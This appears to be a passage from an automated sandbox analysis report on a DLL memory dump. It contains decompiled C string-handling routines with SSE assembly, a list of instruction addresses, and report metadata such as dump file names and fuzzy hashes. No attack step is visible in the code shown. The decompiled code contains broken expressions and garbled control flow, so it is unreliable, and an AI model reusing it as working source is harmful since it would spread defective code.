												}
												_t205 = _v36;
												_t356 = _t377;
												_t309 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t309 + _t205));
													if( *((char*)(_t309 + _t205)) == 0) {
														goto L158;
													}
													_t309 = _t309 + 1;
													__eflags = _t309 - _t377;
													if(_t309 < _t377) {
														continue;
													}
													_v36 = _t205;
													goto L69;
												}
												goto L158;
												L163:
												_t270 = _v68;
												_t377 = _v32;
												__eflags = _t244;
											} while (_t244 != 0);
											goto L52;
										}
										goto L39;
									}
									_t236 =  *_t292;
									 *_t261 = _t236;
									__eflags = _t236;
									if(_t236 == 0) {
										goto L33;
									}
									_v60 = _t370;
									_t237 = 0;
									__eflags = 0;
									_v64 = _t240;
									_v68 = _t353;
									while(1) {
										_t237 = _t237 + 1;
										_t251 =  *((char*)(_t292 + _t237 * 2 - 1));
										 *(_t261 + _t237 * 2 - 1) = _t251;
										__eflags = _t251;
										if(_t251 == 0) {
											break;
										}
										_t252 =  *((char*)(_t292 + _t237 * 2));
										 *(_t261 + _t237 * 2) = _t252;
										__eflags = _t252;
										if(_t252 != 0) {
											continue;
										}
										break;
									}
									_t370 = _v60;
									_t240 = _v64;
									_t353 = _v68;
									goto L33;
								}
							}
							_t261 = _v56;
							goto L36;
						}
						_t347 = _t363 & 0x0000000f;
						__eflags = _t347;
						if(_t347 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t258 =  ~( ~_t347 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t258;
							while(1) {
								asm("movdqu xmm1, [esi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t182;
								if(_t182 != 0) {
									break;
								}
								_t347 = _t347 + 0x10;
								__eflags = _t347 - _t258;
								if(_t347 < _t258) {
									continue;
								}
								__eflags = _t258 - 0x7fffffff;
								if(_t258 >= 0x7fffffff) {
									L21:
									_t260 = 0x40;
									_t240 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t258 + _t363));
									if( *((char*)(_t258 + _t363)) == 0) {
										break;
									}
									_t258 = _t258 + 1;
									__eflags = _t258 - 0x7fffffff;
									if(_t258 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L165:
								__eflags = _t240 - 0xfffffffe;
								if(_t240 != 0xfffffffe) {
									_t260 = 0x40;
								} else {
									 *_t363 = 0;
									_t260 = _v52;
								}
								goto L22;
							}
							asm("bsf ebx, eax");
							_t240 = _t258 + _t347;
							goto L165;
						}
						_t240 = 0;
						_t347 =  ~_t347 + 0x10;
						__eflags = _t347;
						while(1) {
							__eflags =  *((char*)(_t240 + _t363));
							if( *((char*)(_t240 + _t363)) == 0) {
								goto L165;
							}
							_t240 = _t240 + 1;
							__eflags = _t240 - _t347;
							if(_t240 < _t347) {
								continue;
							}
							goto L15;
						}
						goto L165;
					}
					_t188 =  &_v56;
					goto L37;
				}
				if(_t363 == 0) {
					L6:
					_push(1);
					_push(_t181);
					E6EBA10B0();
					_t391 = _t391 + 8;
					goto L8;
				}
				_t349 =  *_t181;
				 *_t363 = _t349;
				if(_t349 == 0) {
					goto L6;
				}
				_t288 = 0;
				while(1) {
					_t288 = _t288 + 1;
					_t350 =  *((char*)(_t181 + _t288 * 2 - 1));
					 *((char*)(_t363 + _t288 * 2 - 1)) = _t350;
					if(_t350 == 0) {
						goto L6;
					}
					_t351 =  *((char*)(_t181 + _t288 * 2));
					 *((char*)(_t363 + _t288 * 2)) = _t351;
					if(_t351 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6ebb173e
0x6ebb1742
0x6ebb1744
0x6ebb1748
0x6ebb174f
0x6ebb1751
0x6ebb1754
0x6ebb175a
0x6ebb1791
0x6ebb1794
0x6ebb1794
0x6ebb1798
0x6ebb17a0
0x6ebb17a6
0x6ebb17b1
0x6ebb17b3
0x6ebb1e9e
0x6ebb1ea3
0x6ebb182d
0x6ebb1832
0x6ebb1832
0x6ebb1835
0x6ebb1838
0x6ebb183b
0x6ebb183d
0x6ebb1852
0x6ebb1855
0x6ebb1855
0x6ebb185b
0x6ebb1863
0x6ebb1863
0x6ebb1863
0x6ebb1866
0x6ebb186d
0x6ebb1870
0x6ebb1876
0x6ebb1878
0x6ebb187b
0x6ebb187f
0x6ebb1881
0x6ebb18d6
0x00000000
0x6ebb1883
0x6ebb1883
0x6ebb1885
0x6ebb18c1
0x6ebb18c1
0x6ebb18c3
0x6ebb18c4
0x6ebb18c8
0x6ebb18cd
0x6ebb18d1
0x6ebb18d9
0x6ebb18d9
0x6ebb18dd
0x6ebb18e1
0x6ebb18e5
0x6ebb18e8
0x6ebb18ee
0x6ebb18f3
0x6ebb18f3
0x6ebb18f7
0x6ebb1900
0x6ebb1900
0x6ebb1905
0x6ebb1907
0x6ebb1909
0x6ebb1911
0x6ebb1913
0x6ebb1919
0x6ebb191d
0x6ebb1957
0x6ebb1a03
0x6ebb1a03
0x6ebb1a06
0x6ebb1a08
0x6ebb1a0f
0x6ebb1a0f
0x6ebb1a11
0x6ebb1a15
0x6ebb1a1f
0x6ebb1a23
0x6ebb1a33
0x6ebb1a33
0x6ebb1921
0x6ebb1947
0x6ebb1947
0x6ebb1949
0x6ebb194a
0x6ebb194f
0x00000000
0x6ebb194f
0x6ebb1923
0x6ebb1926
0x6ebb192a
0x00000000
0x00000000
0x6ebb192c
0x6ebb192e
0x6ebb192e
0x6ebb192f
0x6ebb1934
0x6ebb193a
0x00000000
0x00000000
0x6ebb193c
0x6ebb1940
0x6ebb1945
0x00000000
0x00000000
0x00000000
0x6ebb1945
0x00000000
0x6ebb192e
0x6ebb18f9
0x6ebb18fe
0x6ebb195f
0x6ebb1961
0x6ebb1963
0x6ebb19ac
0x6ebb19ac
0x6ebb19b1
0x6ebb19b3
0x6ebb19b5
0x6ebb19bd
0x6ebb19bf
0x6ebb19c5
0x6ebb19c7
0x6ebb19c9
0x6ebb1a00
0x00000000
0x6ebb1a00
0x6ebb19cb
0x6ebb19cd
0x6ebb19f3
0x6ebb19f3
0x6ebb19f5
0x6ebb19f6
0x6ebb19fb
0x00000000
0x6ebb19fb
0x6ebb19cf
0x6ebb19d2
0x6ebb19d4
0x6ebb19d6
0x00000000
0x00000000
0x6ebb19d8
0x6ebb19d8
0x6ebb19da
0x6ebb19da
0x6ebb19db
0x6ebb19e0
0x6ebb19e4
0x6ebb19e6
0x00000000
0x00000000
0x6ebb19e8
0x6ebb19ec
0x6ebb19ef
0x6ebb19f1
0x00000000
0x00000000
0x00000000
0x6ebb19f1
0x00000000
0x6ebb19da
0x6ebb1965
0x6ebb1968
0x00000000
0x00000000
0x6ebb196a
0x6ebb196e
0x6ebb1971
0x6ebb1977
0x6ebb197b
0x6ebb197e
0x6ebb1981
0x6ebb1981
0x6ebb1983
0x6ebb1986
0x6ebb198a
0x6ebb198c
0x6ebb198c
0x6ebb1992
0x6ebb1998
0x6ebb199b
0x6ebb199e
0x00000000
0x00000000
0x6ebb19a4
0x6ebb19a5
0x6ebb19a6
0x6ebb19aa
0x00000000
0x00000000
0x00000000
0x6ebb19aa
0x6ebb1a36
0x6ebb1a3a
0x6ebb1a3e
0x6ebb1a40
0x00000000
0x00000000
0x6ebb1a4b
0x6ebb1a4e
0x6ebb1a56
0x6ebb1a5a
0x6ebb1a5e
0x6ebb1a5e
0x6ebb1a61
0x6ebb1a65
0x6ebb1a69
0x6ebb1a69
0x6ebb1a6b
0x6ebb1a6d
0x6ebb1a8a
0x6ebb1a96
0x6ebb1a9a
0x6ebb1a9a
0x6ebb1aa0
0x6ebb1aa4
0x6ebb1aa4
0x6ebb1aa9
0x6ebb1aad
0x6ebb1ab1
0x6ebb1ab3
0x00000000
0x00000000
0x6ebb1ab9
0x6ebb1abc
0x6ebb1abe
0x00000000
0x00000000
0x6ebb1ac0
0x6ebb1ac4
0x6ebb1ac8
0x6ebb1ace
0x6ebb1aeb
0x6ebb1aeb
0x6ebb1af0
0x6ebb1af0
0x6ebb1af4
0x6ebb1af4
0x6ebb1af6
0x6ebb1af9
0x6ebb1afd
0x6ebb1b01
0x6ebb1b05
0x6ebb1b09
0x6ebb1b0c
0x6ebb1b0f
0x6ebb1b15
0x6ebb1b18
0x6ebb1b1b
0x6ebb1b21
0x6ebb1b24
0x6ebb1b27
0x6ebb1b29
0x00000000
0x00000000
0x6ebb1b35
0x6ebb1b37
0x6ebb1b40
0x6ebb1b40
0x6ebb1b44
0x6ebb1b46
0x00000000
0x00000000
0x6ebb1b4c
0x6ebb1b4c
0x6ebb1b4e
0x6ebb1bb1
0x6ebb1bb1
0x6ebb1bb4
0x6ebb1bc8
0x6ebb1bd4
0x6ebb1bd4
0x6ebb1bda
0x6ebb1bda
0x6ebb1bdf
0x6ebb1be3
0x6ebb1be7
0x6ebb1be9
0x00000000
0x00000000
0x6ebb1bef
0x6ebb1bf2
0x6ebb1bf4
0x00000000
0x00000000
0x6ebb1bf6
0x6ebb1bfc
0x6ebb1c0d
0x6ebb1c0d
0x6ebb1c12
0x6ebb1c17
0x6ebb1c19
0x6ebb1c1b
0x6ebb1c1d
0x6ebb1c23
0x6ebb1c23
0x6ebb1c25
0x6ebb1c25
0x6ebb1c2c
0x6ebb1c2e
0x6ebb1c31
0x6ebb1c31
0x6ebb1c33
0x6ebb1c37
0x6ebb1d7b
0x6ebb1d7b
0x6ebb1d82
0x6ebb1d84
0x6ebb1d8a
0x6ebb1d8c
0x6ebb1d8e
0x6ebb1dc8
0x00000000
0x6ebb1dc8
0x6ebb1d90
0x6ebb1d92
0x6ebb1db8
0x6ebb1db8
0x6ebb1dba
0x6ebb1dbb
0x6ebb1dc0
0x00000000
0x6ebb1dc0
0x6ebb1d94
0x6ebb1d97
0x6ebb1d99
0x6ebb1d9b
0x00000000
0x00000000
0x6ebb1d9d
0x6ebb1d9d
0x6ebb1d9f
0x6ebb1d9f
0x6ebb1da0
0x6ebb1da5
0x6ebb1da9
0x6ebb1dab
0x00000000
0x00000000
0x6ebb1dad
0x6ebb1db1
0x6ebb1db4
0x6ebb1db6
0x00000000
0x00000000
0x00000000
0x6ebb1db6
0x00000000
0x6ebb1d9f
0x6ebb1c3d
0x6ebb1c41
0x00000000
0x00000000
0x6ebb1c47
0x6ebb1c49
0x6ebb1cb0
0x6ebb1cb5
0x6ebb1cb5
0x6ebb1cb8
0x6ebb1cbb
0x6ebb1cbe
0x6ebb1cc0
0x6ebb1cd6
0x6ebb1cd9
0x6ebb1cd9
0x6ebb1cdf
0x6ebb1ce7
0x6ebb1ce7
0x6ebb1ce7
0x6ebb1cea
0x6ebb1cf4
0x6ebb1cf7
0x6ebb1cfa
0x6ebb1d00
0x6ebb1d02
0x6ebb1d08
0x6ebb1d0a
0x6ebb1d0c
0x6ebb1d43
0x00000000
0x6ebb1d0e
0x6ebb1d0e
0x6ebb1d10
0x6ebb1d36
0x6ebb1d36
0x6ebb1d38
0x6ebb1d39
0x6ebb1d3e
0x6ebb1d46
0x6ebb1d46
0x6ebb1d4c
0x6ebb1d4f
0x6ebb1d51
0x6ebb1d51
0x6ebb1d53
0x00000000
0x00000000
0x6ebb1d59
0x6ebb1d5d
0x6ebb1d63
0x6ebb1d63
0x6ebb1d66
0x6ebb1d67
0x6ebb1d69
0x6ebb1d6b
0x00000000
0x00000000
0x6ebb1d6d
0x6ebb1d6f
0x6ebb1dd0
0x00000000
0x6ebb1dd0
0x6ebb1d71
0x6ebb1d71
0x6ebb1d73
0x00000000
0x00000000
0x6ebb1d61
0x6ebb1d62
0x6ebb1d62
0x6ebb1d62
0x6ebb1d63
0x6ebb1d12
0x6ebb1d15
0x6ebb1d17
0x6ebb1d19
0x00000000
0x00000000
0x6ebb1d1b
0x6ebb1d1b
0x6ebb1d1d
0x6ebb1d1d
0x6ebb1d1e
0x6ebb1d23
0x6ebb1d27
0x6ebb1d29
0x00000000
0x00000000
0x6ebb1d2b
0x6ebb1d2f
0x6ebb1d32
0x6ebb1d34
0x00000000
0x00000000
0x00000000
0x6ebb1d34
0x00000000
0x6ebb1d1d
0x6ebb1d0c
0x6ebb1cc2
0x00000000
0x6ebb1cc2
0x6ebb1c4b
0x6ebb1c4f
0x6ebb1c4f
0x6ebb1c52
0x6ebb1c66
0x6ebb1c72
0x6ebb1c72
0x6ebb1c78
0x6ebb1c78
0x6ebb1c7d
0x6ebb1c81
0x6ebb1c85
0x6ebb1c87
0x00000000
0x00000000
0x6ebb1c8d
0x6ebb1c90
0x6ebb1c92
0x00000000
0x00000000
0x6ebb1c94
0x6ebb1c9a
0x6ebb1cab
0x6ebb1cab
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb1c9c
0x6ebb1c9c
0x6ebb1c9c
0x6ebb1ca0
0x00000000
0x00000000
0x6ebb1ca2
0x6ebb1ca3
0x6ebb1ca9
0x00000000
0x00000000
0x00000000
0x6ebb1ca9
0x00000000
0x6ebb1c9c
0x6ebb1dd9
0x6ebb1ddc
0x00000000
0x6ebb1ddc
0x6ebb1c56
0x6ebb1c58
0x6ebb1c58
0x6ebb1c5b
0x6ebb1c5b
0x6ebb1c5f
0x00000000
0x00000000
0x6ebb1c61
0x6ebb1c62
0x6ebb1c64
0x00000000
0x00000000
0x00000000
0x6ebb1c64
0x00000000
0x6ebb1c5b
0x6ebb1c1f
0x6ebb1c21
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb1bfe
0x6ebb1bfe
0x6ebb1bfe
0x6ebb1c02
0x00000000
0x00000000
0x6ebb1c04
0x6ebb1c05
0x6ebb1c0b
0x00000000
0x00000000
0x00000000
0x6ebb1c0b
0x00000000
0x6ebb1bfe
0x6ebb1de3
0x6ebb1de6
0x00000000
0x6ebb1de6
0x6ebb1bb8
0x6ebb1bba
0x6ebb1bba
0x6ebb1bbd
0x6ebb1bbd
0x6ebb1bc1
0x00000000
0x00000000
0x6ebb1bc3
0x6ebb1bc4
0x6ebb1bc6
0x00000000
0x00000000
0x00000000
0x6ebb1bc6
0x00000000
0x6ebb1bbd
0x6ebb1b50
0x6ebb1b55
0x6ebb1b57
0x6ebb1b59
0x6ebb1b61
0x6ebb1b63
0x6ebb1b69
0x6ebb1b6b
0x6ebb1b6d
0x6ebb1ba7
0x00000000
0x6ebb1ba7
0x6ebb1b6f
0x6ebb1b71
0x6ebb1b97
0x6ebb1b97
0x6ebb1b99
0x6ebb1b9a
0x6ebb1b9f
0x00000000
0x6ebb1b9f
0x6ebb1b73
0x6ebb1b76
0x6ebb1b78
0x6ebb1b7a
0x00000000
0x00000000
0x6ebb1b7c
0x6ebb1b7c
0x6ebb1b7e
0x6ebb1b7e
0x6ebb1b7f
0x6ebb1b84
0x6ebb1b88
0x6ebb1b8a
0x00000000
0x00000000
0x6ebb1b8c
0x6ebb1b90
0x6ebb1b93
0x6ebb1b95
0x00000000
0x00000000
0x00000000
0x6ebb1b95
0x00000000
0x6ebb1b7e
0x6ebb1b39
0x6ebb1b3a
0x6ebb1b3e
0x00000000
0x00000000
0x00000000
0x6ebb1b3e
0x6ebb1ded
0x6ebb1df0
0x6ebb1df6
0x6ebb1df6
0x6ebb1df7
0x00000000
0x00000000
0x6ebb1dfd
0x6ebb1e06
0x6ebb1e0b
0x6ebb1e0e
0x6ebb1e12
0x00000000
0x00000000
0x6ebb1e18
0x6ebb1e1b
0x6ebb1e1f
0x6ebb1e1f
0x6ebb1e20
0x6ebb1e21
0x6ebb1e2b
0x6ebb1e31
0x6ebb1e34
0x6ebb1e36
0x00000000
0x00000000
0x6ebb1e38
0x6ebb1e3b
0x00000000
0x00000000
0x00000000
0x6ebb1e3d
0x00000000
0x6ebb1e1f
0x6ebb1ad0
0x6ebb1ad4
0x6ebb1ad4
0x6ebb1ad8
0x00000000
0x00000000
0x6ebb1ade
0x6ebb1adf
0x6ebb1ae5
0x00000000
0x00000000
0x6ebb1ae7
0x00000000
0x6ebb1ae7
0x6ebb1e42
0x6ebb1e42
0x6ebb1e46
0x6ebb1e46
0x6ebb1e48
0x00000000
0x00000000
0x6ebb1e4e
0x00000000
0x00000000
0x00000000
0x6ebb1e54
0x6ebb1e59
0x6ebb1e5c
0x6ebb1e60
0x6ebb1e62
0x00000000
0x6ebb1e62
0x6ebb1a6f
0x6ebb1a73
0x6ebb1a75
0x6ebb1a75
0x6ebb1a77
0x6ebb1a77
0x6ebb1a7b
0x00000000
0x00000000
0x6ebb1a81
0x6ebb1a82
0x6ebb1a84
0x00000000
0x00000000
0x6ebb1a86
0x00000000
0x6ebb1a86
0x00000000
0x6ebb1e68
0x6ebb1e68
0x6ebb1e6b
0x6ebb1e6f
0x6ebb1e6f
0x00000000
0x6ebb1e77
0x00000000
0x6ebb18fe
0x6ebb1887
0x6ebb188a
0x6ebb188c
0x6ebb188e
0x00000000
0x00000000
0x6ebb1890
0x6ebb1894
0x6ebb1894
0x6ebb1896
0x6ebb189a
0x6ebb189d
0x6ebb189d
0x6ebb189e
0x6ebb18a3
0x6ebb18a7
0x6ebb18a9
0x00000000
0x00000000
0x6ebb18ab
0x6ebb18af
0x6ebb18b2
0x6ebb18b4
0x00000000
0x00000000
0x00000000
0x6ebb18b4
0x6ebb18b6
0x6ebb18ba
0x6ebb18be
0x00000000
0x6ebb18be
0x6ebb1881
0x6ebb183f
0x00000000
0x6ebb183f
0x6ebb17bb
0x6ebb17bb
0x6ebb17be
0x6ebb17d6
0x6ebb17da
0x6ebb17e6
0x6ebb17e6
0x6ebb17ec
0x6ebb17ec
0x6ebb17f1
0x6ebb17f5
0x6ebb17f9
0x6ebb17fb
0x00000000
0x00000000
0x6ebb1801
0x6ebb1804
0x6ebb1806
0x00000000
0x00000000
0x6ebb1808
0x6ebb180e
0x6ebb1823
0x6ebb1823
0x6ebb1828
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb1810
0x6ebb1810
0x6ebb1810
0x6ebb1814
0x00000000
0x00000000
0x6ebb181a
0x6ebb181b
0x6ebb1821
0x00000000
0x00000000
0x00000000
0x6ebb1821
0x6ebb1e7c
0x6ebb1e7c
0x6ebb1e7f
0x6ebb1e8d
0x6ebb1e81
0x6ebb1e81
0x6ebb1e84
0x6ebb1e84
0x00000000
0x6ebb1e7f
0x6ebb1e97
0x6ebb1e9a
0x00000000
0x6ebb1e9a
0x6ebb17c2
0x6ebb17c4
0x6ebb17c4
0x6ebb17c7
0x6ebb17c7
0x6ebb17cb
0x00000000
0x00000000
0x6ebb17d1
0x6ebb17d2
0x6ebb17d4
0x00000000
0x00000000
0x00000000
0x6ebb17d4
0x00000000
0x6ebb17c7
0x6ebb17a8
0x00000000
0x6ebb17a8
0x6ebb175e
0x6ebb1784
0x6ebb1784
0x6ebb1786
0x6ebb1787
0x6ebb178c
0x00000000
0x6ebb178c
0x6ebb1760
0x6ebb1763
0x6ebb1767
0x00000000
0x00000000
0x6ebb1769
0x6ebb176b
0x6ebb176b
0x6ebb176c
0x6ebb1771
0x6ebb1777
0x00000000
0x00000000
0x6ebb1779
0x6ebb177d
0x6ebb1782
0x00000000
0x00000000
0x00000000
0x6ebb1782
0x00000000

Strings

@, xrefs: 6EBB1798

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: a8b937767d9d941c8a342fb20a13b9f32eeb100c99e286f27a39f05552e35147
Instruction ID: 5a6510ed0be328b1e13814e1a690de29fea5fee28f723ca7490315430748061c
Opcode Fuzzy Hash: a8b937767d9d941c8a342fb20a13b9f32eeb100c99e286f27a39f05552e35147
Instruction Fuzzy Hash: 37323574A183D34FE7118AA9849033A7FE2AFC6300F1C86ADD8E59F255EF7485498382

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB4CA0, Relevance: 1.6, Strings: 1, Instructions: 358
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6EBB4CA0(signed int* __ecx, intOrPtr* _a4) {
				char _v28;
				unsigned int _v32;
				void* _v36;
				unsigned int _t70;
				char* _t75;
				signed int _t78;
				signed int _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				char _t88;
				void* _t89;
				intOrPtr* _t90;
				signed int _t92;
				void* _t98;
				void* _t99;
				signed int _t101;
				char _t102;
				char _t103;
				char _t104;
				signed int _t106;
				signed int _t107;
				signed int _t110;
				char* _t111;
				void* _t112;
				signed int _t115;
				char _t116;
				char _t117;
				char _t118;
				char _t119;
				char _t120;
				void* _t122;
				char* _t123;
				char _t133;
				char _t134;
				char _t136;
				char _t137;
				char* _t139;
				void* _t140;
				signed int _t142;
				char _t146;
				signed int _t148;
				signed int _t154;
				unsigned int _t155;
				char _t157;
				char _t158;
				char* _t161;
				char* _t162;
				intOrPtr* _t169;
				unsigned int _t170;
				void* _t171;
				signed int _t172;
				void* _t174;

				_t174 = (_t172 & 0xfffffff0) - 0x14;
				_t70 =  *0x6ebca24c; // 0xa0d0920
				_t119 =  *0x6ebca250; // 0x0
				_v32 = _t70;
				_v28 = _t119;
				_t101 =  *__ecx;
				if(_t101 == 0) {
					_t120 = 0;
					_t88 = 0;
				} else {
					_t142 = _t101 & 0x0000000f;
					if(_t142 == 0) {
						L5:
						asm("pxor xmm0, xmm0");
						_t98 =  ~( ~_t142 + 0x0000000f & 0x0000000f) + 0x7fffffff;
						while(1) {
							asm("movdqu xmm1, [ecx+edx]");
							asm("pcmpeqb xmm1, xmm0");
							asm("pmovmskb eax, xmm1");
							if(_t70 != 0) {
								break;
							}
							_t142 = _t142 + 0x10;
							if(_t142 < _t98) {
								continue;
							} else {
								if(_t98 >= 0x7fffffff) {
									L11:
									_t88 = 0x7fffffff;
									goto L12;
								} else {
									while( *((char*)(_t98 + _t101)) != 0) {
										_t98 = _t98 + 1;
										if(_t98 < 0x7fffffff) {
											continue;
										} else {
											goto L11;
										}
										goto L18;
									}
									goto L102;
								}
							}
							goto L18;
						}
						asm("bsf ebx, eax");
						_t88 = _t98 + _t142;
						goto L102;
					} else {
						_t88 = 0;
						_t142 =  ~_t142 + 0x10;
						while( *((char*)(_t88 + _t101)) != 0) {
							_t88 = _t88 + 1;
							if(_t88 < _t142) {
								continue;
							} else {
								goto L5;
							}
							goto L18;
						}
						L102:
						if(_t88 > 0) {
							L12:
							_t120 = 0;
							_t155 = _v32;
							_t171 = 0;
							_v36 = _t88;
							while(_t155 != 0) {
								_t86 =  *((intOrPtr*)(_t120 + _t101));
								_t99 = 0;
								while(_t86 !=  *((intOrPtr*)(_t174 + _t99 + 4))) {
									_t99 = _t99 + 1;
									if( *((char*)(_t174 + _t99 + 4)) != 0) {
										continue;
									}
									goto L17;
								}
								_t171 = _t171 + 1;
								_t120 = _t120 + 1;
								if(_t171 < _v36) {
									continue;
								} else {
									break;
								}
								L106:
							}
							L17:
							_t88 = _v36;
						} else {
							_t120 = 0;
						}
						goto L18;
						L93:
						return _t90;
						goto L106;
					}
				}
				L18:
				_t89 = _t88 - 1;
				_t146 = _t88 - _t120;
				if(_t89 >= _t120) {
					_t170 = _v32;
					_v36 = _t120;
					while(_t170 != 0) {
						_t85 =  *((intOrPtr*)(_t89 + _t101));
						_t140 = 0;
						while(_t85 !=  *((intOrPtr*)(_t174 + _t140 + 4))) {
							_t140 = _t140 + 1;
							if( *((char*)(_t174 + _t140 + 4)) != 0) {
								continue;
							}
							goto L24;
						}
						_t89 = _t89 - 1;
						_t146 = _t146 - 1;
						if(_t89 >= _v36) {
							continue;
						} else {
							break;
						}
						goto L93;
					}
					L24:
					_t120 = _v36;
				}
				_t90 = _a4;
				if(_t146 != 0) {
					if(_t101 == 0) {
						_t157 = 0;
					} else {
						_t81 = _t101 & 0x0000000f;
						if(_t81 == 0) {
							L39:
							asm("pxor xmm0, xmm0");
							_t157 =  ~( ~_t81 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [ecx+eax]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ebx, xmm1");
								if(_t90 != 0) {
									break;
								}
								_t81 = _t81 + 0x10;
								if(_t81 < _t157) {
									continue;
								} else {
									_t90 = _a4;
									if(_t157 >= 0x7fffffff) {
										L45:
										_t157 = 0x7fffffff;
									} else {
										while( *((char*)(_t157 + _t101)) != 0) {
											_t157 = _t157 + 1;
											if(_t157 < 0x7fffffff) {
												continue;
											} else {
												goto L45;
											}
											goto L46;
										}
									}
								}
								goto L46;
							}
							_t169 = _t90;
							asm("bsf esi, esi");
							_t90 = _a4;
							_t157 = _t169 + _t81;
						} else {
							_t157 = 0;
							_t81 =  ~_t81 + 0x10;
							while( *((char*)(_t157 + _t101)) != 0) {
								_t157 = _t157 + 1;
								if(_t157 < _t81) {
									continue;
								} else {
									goto L39;
								}
								goto L46;
							}
						}
					}
					L46:
					_t121 =  <=  ? 0 : _t120;
					_t122 =  <  ? _t157 :  <=  ? 0 : _t120;
					_t158 = _t157 - _t122;
					if(_t146 < 0 || _t146 > _t158) {
						_t146 = _t158;
					}
					 *_t90 = 0;
					 *(_t90 + 4) = 0;
					_t161 = _t122 + _t101;
					if(_t161 == 0 ||  *(_t101 + _t122) == 0) {
						_push(0x40);
						_t162 = E6EBA1030();
						_t174 = _t174 + 4;
						_t123 =  *_t90;
						if(_t123 == 0) {
							 *_t162 = 0;
						} else {
							if(_t162 != 0) {
								_t102 =  *_t123;
								 *_t162 = _t102;
								if(_t102 != 0) {
									_t148 = 0;
									while(1) {
										_t148 = _t148 + 1;
										_t103 =  *((char*)(_t123 + _t148 * 2 - 1));
										 *((char*)(_t162 + _t148 * 2 - 1)) = _t103;
										if(_t103 == 0) {
											goto L90;
										}
										_t104 =  *((char*)(_t123 + _t148 * 2));
										 *((char*)(_t162 + _t148 * 2)) = _t104;
										if(_t104 != 0) {
											continue;
										}
										goto L90;
									}
								}
							}
							L90:
							_push(1);
							_push(_t123);
							E6EBA10B0();
							_t174 = _t174 + 8;
						}
						goto L92;
					} else {
						if(_t146 == 0) {
							_t115 = _t101 + _t122;
							_t78 = _t115 & 0x0000000f;
							if(_t78 == 0) {
								L56:
								asm("pxor xmm0, xmm0");
								_t146 =  ~( ~_t78 + 0x0000000f & 0x0000000f) + 0x7fffffff;
								while(1) {
									asm("movdqu xmm1, [ecx+eax]");
									asm("pcmpeqb xmm1, xmm0");
									asm("pmovmskb edx, xmm1");
									if(_t122 != 0) {
										break;
									}
									_t78 = _t78 + 0x10;
									if(_t78 < _t146) {
										continue;
									} else {
										if(_t146 >= 0x7fffffff) {
											L62:
											_t146 = 0x7fffffff;
										} else {
											while( *((char*)(_t146 + _t115)) != 0) {
												_t146 = _t146 + 1;
												if(_t146 < 0x7fffffff) {
													continue;
												} else {
													goto L62;
												}
												goto L63;
											}
										}
									}
									goto L63;
								}
								asm("bsf edi, edx");
								_t146 = _t146 + _t78;
							} else {
								_t146 = 0;
								_t78 =  ~_t78 + 0x10;
								while( *((char*)(_t146 + _t115)) != 0) {
									_t146 = _t146 + 1;
									if(_t146 < _t78) {
										continue;
									} else {
										goto L56;
									}
									goto L63;
								}
							}
						}
						L63:
						_t36 = _t146 + 1; // 0x80000000
						_t106 =  <=  ? 0x40 : _t36;
						if(_t106 > 0) {
							_v32 = (_t106 >> 5 >> 0x1a) + _t106 >> 6;
							_t107 = _t106 & 0x8000003f;
							if(_t107 < 0) {
								_t107 = (_t107 - 0x00000001 | 0xffffffc0) + 1;
							}
							_t110 = _v32 + (0 | _t107 > 0x00000000) << 6;
							_v32 = _t110;
							_push(_t110);
							_t75 = E6EBA1030();
							_t174 = _t174 + 4;
							_t111 =  *_t90;
							if(_t111 == 0) {
								 *_t75 = 0;
							} else {
								if(_t75 != 0) {
									_t134 =  *_t111;
									 *_t75 = _t134;
									if(_t134 != 0) {
										_v36 = _t161;
										_t92 = 0;
										while(1) {
											_t92 = _t92 + 1;
											_t136 =  *((char*)(_t111 + _t92 * 2 - 1));
											 *((char*)(_t75 + _t92 * 2 - 1)) = _t136;
											if(_t136 == 0) {
												break;
											}
											_t137 =  *((char*)(_t111 + _t92 * 2));
											 *((char*)(_t75 + _t92 * 2)) = _t137;
											if(_t137 != 0) {
												continue;
											}
											break;
										}
										_t161 = _v36;
										_t90 = _a4;
									}
								}
								_push(1);
								_push(_t111);
								_v36 = _t75;
								E6EBA10B0();
								_t75 = _v36;
								_t174 = _t174 + 8;
							}
							 *(_t90 + 4) = _v32;
							 *_t90 = _t75;
						} else {
							_t75 = 0;
						}
						if(_t75 != 0) {
							_t112 = 0;
							while(1) {
								_t133 =  *_t161;
								_t112 = _t112 + 1;
								 *_t75 = _t133;
								if(_t146 != 0 && _t112 == _t146) {
									break;
								}
								if(_t133 != 0) {
									_t75 = _t75 + 1;
									_t161 = _t161 + 1;
									continue;
								}
								goto L93;
							}
							 *((char*)(_t75 + 1)) = 0;
						}
					}
				} else {
					_push(0x40);
					 *_t90 = 0;
					 *(_t90 + 4) = 0;
					_t162 = E6EBA1030();
					_t174 = _t174 + 4;
					_t139 =  *_t90;
					if(_t139 == 0) {
						 *_t162 = 0;
					} else {
						if(_t162 != 0) {
							_t116 =  *_t139;
							 *_t162 = _t116;
							if(_t116 != 0) {
								_t154 = 0;
								while(1) {
									_t154 = _t154 + 1;
									_t117 =  *((char*)(_t139 + _t154 * 2 - 1));
